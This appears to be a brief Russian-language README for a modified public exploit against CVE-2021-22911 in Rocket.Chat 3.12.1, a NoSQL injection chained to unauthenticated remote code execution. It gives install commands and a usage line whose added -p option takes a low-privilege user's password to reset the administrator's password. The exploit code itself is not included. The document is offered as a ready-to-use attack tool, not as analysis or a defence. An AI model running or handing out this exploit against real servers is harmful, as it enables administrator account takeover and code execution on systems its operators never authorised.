Обновлённый эксплойт для CVE-2021-22911 (Rocket.Chat 3.12.1 - NoSQL-инъекция к RCE (без аутентификации))

Авторство: https://www.exploit-db.com/exploits/50108

Установка

• Создайте виртуальное окружение Python и установите зависимости

$ python -m venv venv
$ source venv/bin/activate
$ pip install requests oathtool

Использование

• Я добавил новый аргумент -p, который принимает пароль пользователя с низкими привилегиями и использует его же для сброса пароля администратора

$ python 50108.py -u "[email protected]" -p "<low priv user password>" -a "admin@localhost" -t "http://<ip>:<port>"